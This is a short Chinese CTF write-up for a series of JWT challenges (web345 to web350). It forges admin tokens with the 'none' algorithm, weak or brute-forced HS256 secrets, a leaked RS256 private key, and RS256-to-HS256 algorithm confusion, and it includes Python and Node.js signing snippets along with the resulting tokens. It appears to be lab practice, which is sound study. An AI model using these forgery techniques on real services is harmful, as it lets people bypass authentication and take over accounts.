目录
1、web345
F12 看到提示
但是访问 admin 会重定向到 index.php
提取 jwt 解码
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MzE2NDYzOTQsImV4cCI6MTczMTY1MzU5NCwibmJmIjoxNzMxNjQ2Mzk0LCJzdWIiOiJ1c2VyIiwianRpIjoiNTFkOGY0Nzg4N2JjYzNmZDIzMDE2MDRmNjJmMDJkYzAifV0
没有签名部分,只有 jwt 的前两部分 header 和 payload
user 改成 admin,它这里没有声明加密算法,我们随便指定一个常见的 HS256
提取前两部分:
eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MzE2NDcyNTYsImV4cCI6MTczMTY1NDQ1NiwibmJmIjoxNzMxNjQ3MjU2LCJzdWIiOiJhZG1pbiIsImp0aSI6ImZjNzVjMjliZDI5ZWM1OGI0Nzg5Mjk2MDg3OGI2MTZlIn1d
2、web346
这次增加了签名部分
猜一下密钥是 123456
伪造 admin
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMTY0Nzc5OCwiZXhwIjoxNzMxNjU0OTk4LCJuYmYiOjE3MzE2NDc3OTgsInN1YiI6ImFkbWluIiwianRpIjoiMTVhNWMxODZkNTg5N2Y5NDk1MWUzNDFhYzQyYWVlYjYifQ.VIkAggAbii7mpQZpgsDedwEInO25LeUvyCqhxdLf884
3、web347
上一题 payload 可用,密钥还是 123456
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMTY0Nzc5OCwiZXhwIjoxNzMxNjU0OTk4LCJuYmYiOjE3MzE2NDc3OTgsInN1YiI6ImFkbWluIiwianRpIjoiMTVhNWMxODZkNTg5N2Y5NDk1MWUzNDFhYzQyYWVlYjYifQ.VIkAggAbii7mpQZpgsDedwEInO25LeUvyCqhxdLf884
4、web348
提示爆破密钥,使用 jwtcracker 来爆破
拿到 key 是aaab
伪造 admin
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMTY0ODg0MSwiZXhwIjoxNzMxNjU2MDQxLCJuYmYiOjE3MzE2NDg4NDEsInN1YiI6ImFkbWluIiwianRpIjoiNGI4NjJiZmVhMWE3NGQyNDFlNjQyMjA3ZDljZjc0YWMifQ.RG6JxiZSuGkTQbzOXiC17VxRGqj7v33Cw6DGYq6wg7g
5、web349
给了源码,RS256 非对称加密,需要满足 user ===admin
公私钥都可以直接得到,就在当前目录下
不知道为什么在线网站签名无效
使用 python 来生成 jwt,只需要用到私钥
python
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
payload:
python
auth=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.NoE2xAUmDyHc0rhNtNtUn8URhEZeFGy9M0hd7hBEfRD3jpGqetn0nj2Tm9mob9LWyl2BazTLm_1Ez1vn0A6ZxgcpF73B6_rE4zrDvyu3b6eH3FtwmKd9I6N0KzkO1IpTggRVy6l4RoQCoG4JJ6X9YVJgOWtm0vgWzcjjXejlEsM
post 请求
6、web350
可以下载到公钥
私钥没有
将 RS256 替换为 HS256 算法,使用公钥进行签名
exp:
javascript
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
payload:
python
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MzE2NTcxNjB9.bAmlICbzy8VChRXmTqXthg6XEN-YCM21dCdupmIUdwk